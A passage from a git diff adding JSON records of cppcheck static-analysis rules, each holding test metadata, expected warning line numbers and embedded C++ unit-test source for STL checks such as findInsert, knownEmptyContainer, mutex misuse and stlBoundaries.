dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(QSet& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9218 - not small type => do not warn if cpp standard is < c++17\n {\n const char code[] = \"void f1(std::set& s, const LargeType& x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\";\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP14));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP17));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n }\n\n { // #10558\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.try_emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n }\n }\n\n void checkKnownEmptyContainer() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" v.clear();\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (!v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::sort(v.begin(), v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (style) Using sort with iterator 'v.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #1201\n \" std::vector v1{ 0, 1 };\\n\"\n \" std::vector v2;\\n\"\n \" std::copy(v1.begin(), v1.end(), v2.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:45]: (style) Using copy with iterator 'v2.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.insert(v.end(), 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(std::vector*);\\n\"\n \"};\\n\"\n \"A f() {\\n\"\n \" std::vector v;\\n\"\n \" A a(&v);\\n\"\n \" for(auto&& x:v) {}\\n\"\n \" return a;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static void f1(std::list& parameters) {\\n\"\n \" parameters.push_back(a);\\n\"\n \"}\\n\"\n \"int f2(std::list& parameters) {\\n\"\n \" f1(parameters);\\n\"\n \"}\\n\"\n \"void f3() {\\n\"\n \" std::list parameters;\\n\"\n \" int res = ::f2(parameters);\\n\"\n \" for (auto param : parameters) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace ns {\\n\"\n \" using ArrayType = std::vector;\\n\"\n \"}\\n\"\n \"using namespace ns;\\n\"\n \"static void f() {\\n\"\n \" const ArrayType arr;\\n\"\n \" for (const auto &a : arr) {}\\n\"\n \"}\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:7:26]: (style) Iterating over container 'arr' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void foo(S& s) {\\n\"\n \" s.v.clear();\\n\"\n \" bar(s);\\n\"\n \" std::sort(s.v.begin(), s.v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v, int e) {\\n\"\n \" if (!v.empty()) {\\n\"\n \" if (e < 0 || true) {\\n\"\n \" if (e < 0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto& rv = v;\\n\"\n \" rv.push_back(42);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern void f(std::string&&);\\n\"\n \"static void func() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& s_ref = s;\\n\"\n \" f(std::move(s));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12757\n \" template\\n\"\n \" void clear() {}\\n\"\n \" template\\n\"\n \" std::vector get() const { return {}; }\\n\"\n \" std::vector m;\\n\"\n \"};\\n\"\n \"template<> void S::clear() { m.clear(); }\\n\"\n \"template<> std::vector S::get() const {\\n\"\n \" for (const auto& i : m) {}\\n\"\n \" return {};\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\" // #13121\n \" static std::string s = {};\\n\"\n \" for (auto c : s) {}\\n\"\n \" if (b)\\n\"\n \" s += \\'a\\';\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\" // #13727\n \" std::vector v;\\n\"\n \" v.insert::iterator>(v.end(), it, it + 1);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMutexes() {\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:40]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::unique_lock g(m, std::defer_lock);\\n\"\n \" static std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:41]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void g();\\n\"\n \" void f() {\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" static std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:44]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" m.lock();\\n\"\n \" foo();\\n\"\n \" m.unlock();\\n\"\n \" });\\n\"\n \" m.lock();\\n\"\n \" bar();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" std::unique_lock g{m};\\n\"\n \" foo();\\n\"\n \" });\\n\"\n \" std::unique_lock g{m};\\n\"\n \" bar();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { int f = 0; auto g(f); g = g; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct foobar {\\n\"\n \" int foo;\\n\"\n \" std::shared_mutex foo_mtx;\\n\"\n \" int bar;\\n\"\n \" std::shared_mutex bar_mtx;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" foobar xyz;\\n\"\n \" {\\n\"\n \" std::shared_lock shared_foo_lock(xyz.foo_mtx, std::defer_lock);\\n\"\n \" std::shared_lock shared_bar_lock(xyz.bar_mtx, std::defer_lock);\\n\"\n \" std::scoped_lock shared_multi_lock(shared_foo_lock, shared_bar_lock);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestStl)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/stlBoundaries.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/stlBoundaries.json new file mode 100644 index 0000000..dc01898 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/stlBoundaries.json @@ -0,0 +1,27 @@ +{ + "name": "stlBoundaries", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 19, + "branches": 7, + "apis": 23, + "test": [ + { + "description": null, + "expected-problems": 6, + "expected-linenumbers": [ + 3442, + 3472, + 3484, + 3504, + 3527, + 3547 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkstl.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n#include \"utils.h\"\n\n#include \n#include \n\nclass TestStl : public TestFixture {\npublic:\n TestStl() : TestFixture(\"TestStl\") {}\n\nprivate:\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).severity(Severity::performance).library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(outOfBounds);\n TEST_CASE(outOfBoundsSymbolic);\n TEST_CASE(outOfBoundsIndexExpression);\n TEST_CASE(outOfBoundsIterator);\n\n TEST_CASE(iterator1);\n TEST_CASE(iterator2);\n TEST_CASE(iterator3);\n TEST_CASE(iterator4);\n TEST_CASE(iterator5);\n TEST_CASE(iterator6);\n TEST_CASE(iterator7);\n TEST_CASE(iterator8);\n TEST_CASE(iterator9);\n TEST_CASE(iterator10);\n TEST_CASE(iterator11);\n TEST_CASE(iterator12);\n TEST_CASE(iterator13);\n TEST_CASE(iterator14); // #8191\n TEST_CASE(iterator15); // #8341\n TEST_CASE(iterator16);\n TEST_CASE(iterator17);\n TEST_CASE(iterator18);\n TEST_CASE(iterator19);\n TEST_CASE(iterator20);\n TEST_CASE(iterator21);\n TEST_CASE(iterator22);\n TEST_CASE(iterator23);\n TEST_CASE(iterator24);\n TEST_CASE(iterator25); // #9742\n TEST_CASE(iterator26); // #9176\n TEST_CASE(iterator27); // #10378\n TEST_CASE(iterator28); // #10450\n TEST_CASE(iterator29);\n TEST_CASE(iterator30);\n TEST_CASE(iterator31);\n TEST_CASE(iteratorExpression);\n TEST_CASE(iteratorSameExpression);\n TEST_CASE(mismatchingContainerIterator);\n TEST_CASE(eraseIteratorOutOfBounds);\n\n TEST_CASE(dereference);\n TEST_CASE(dereference_break); // #3644 - handle \"break\"\n TEST_CASE(dereference_member);\n\n TEST_CASE(STLSize);\n TEST_CASE(STLSizeNoErr);\n TEST_CASE(negativeIndex);\n TEST_CASE(negativeIndexMultiline);\n TEST_CASE(erase1);\n TEST_CASE(erase2);\n TEST_CASE(erase3);\n TEST_CASE(erase4);\n TEST_CASE(erase5);\n TEST_CASE(erase6);\n TEST_CASE(eraseBreak);\n TEST_CASE(eraseContinue);\n TEST_CASE(eraseReturn1);\n TEST_CASE(eraseReturn2);\n TEST_CASE(eraseReturn3);\n TEST_CASE(eraseGoto);\n TEST_CASE(eraseAssign1);\n TEST_CASE(eraseAssign2);\n TEST_CASE(eraseAssign3);\n TEST_CASE(eraseAssign4);\n TEST_CASE(eraseAssignByFunctionCall);\n TEST_CASE(eraseErase);\n TEST_CASE(eraseByValue);\n TEST_CASE(eraseIf);\n TEST_CASE(eraseOnVector);\n\n TEST_CASE(pushback1);\n TEST_CASE(pushback2);\n TEST_CASE(pushback3);\n TEST_CASE(pushback4);\n TEST_CASE(pushback5);\n TEST_CASE(pushback6);\n TEST_CASE(pushback7);\n TEST_CASE(pushback8);\n TEST_CASE(pushback9);\n TEST_CASE(pushback10);\n TEST_CASE(pushback11);\n TEST_CASE(pushback12);\n TEST_CASE(pushback13);\n TEST_CASE(insert1);\n TEST_CASE(insert2);\n TEST_CASE(popback1);\n\n TEST_CASE(stlBoundaries1);\n TEST_CASE(stlBoundaries2);\n TEST_CASE(stlBoundaries3);\n TEST_CASE(stlBoundaries4); // #4364\n TEST_CASE(stlBoundaries5); // #4352\n TEST_CASE(stlBoundaries6); // #7106\n\n // if (str.find(\"ab\"))\n TEST_CASE(if_find);\n TEST_CASE(if_str_find);\n\n TEST_CASE(size1);\n TEST_CASE(size2);\n TEST_CASE(size3);\n TEST_CASE(size4); // #2652 - don't warn about vector/deque\n\n // Redundant conditions..\n // if (ints.find(123) != ints.end()) ints.remove(123);\n TEST_CASE(redundantCondition1);\n\n // missing inner comparison when incrementing iterator inside loop\n TEST_CASE(missingInnerComparison1);\n TEST_CASE(missingInnerComparison2); // no FP when there is comparison\n TEST_CASE(missingInnerComparison3); // no FP when there is iterator shadowing\n TEST_CASE(missingInnerComparison4); // no FP when \"break;\" is used\n TEST_CASE(missingInnerComparison5); // Ticket #2154 - FP\n TEST_CASE(missingInnerComparison6); // #2643 - 'it=foo.insert(++it,0);'\n\n // catch common problems when using the string::c_str() function\n TEST_CASE(cstr);\n\n TEST_CASE(uselessCalls);\n TEST_CASE(stabilityOfChecks); // #4684 cppcheck crash in template function call\n\n TEST_CASE(dereferenceInvalidIterator);\n TEST_CASE(dereferenceInvalidIterator2); // #6572\n TEST_CASE(dereference_auto);\n\n TEST_CASE(loopAlgoElementAssign);\n TEST_CASE(loopAlgoAccumulateAssign);\n TEST_CASE(loopAlgoContainerInsert);\n TEST_CASE(loopAlgoIncrement);\n TEST_CASE(loopAlgoConditional);\n TEST_CASE(loopAlgoMinMax);\n TEST_CASE(loopAlgoMultipleReturn);\n\n TEST_CASE(invalidContainer);\n TEST_CASE(invalidContainerLoop);\n TEST_CASE(findInsert);\n\n TEST_CASE(checkKnownEmptyContainer);\n TEST_CASE(checkMutexes);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool inconclusive = false;\n Standards::cppstd_t cppstandard = Standards::CPPLatest;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(settings).certainty(Certainty::inconclusive, options.inconclusive).cpp(options.cppstandard).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n // TODO: get rid of this\n void check_(const char* file, int line, const std::string& code) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n#define checkNormal(code) checkNormal_(code, __FILE__, __LINE__)\n template\n void checkNormal_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n void outOfBounds() {\n setMultiline();\n\n checkNormal(\"bool f(const int a, const int b)\\n\" // #8648\n \"{\\n\"\n \" std::cout << a << b;\\n\"\n \" return true;\\n\"\n \"}\\n\"\n \"void f(const std::vector &v)\\n\"\n \"{\\n\"\n \" if(v.size() >=2 &&\\n\"\n \" bar(v[2], v[3]) )\\n\" // v[3] is accessed\n \" {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:18]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:18]: note: Access out of bounds\\n\"\n \"[test.cpp:9:24]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[3]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:24]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in expression 's[10]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s = \\\"abcd\\\";\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in 's[10]', if 's' size is 4 and '10' is 10 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v.front();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: warning: Either the condition 'v.empty()' is redundant or expression 'v.front()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:16]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:12]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" if (v.size() == 3) {}\\n\"\n \" v[16] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[16]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:3:6]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" int i = 16;\\n\"\n \" if (v.size() == 3) {\\n\"\n \" v[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[i]' 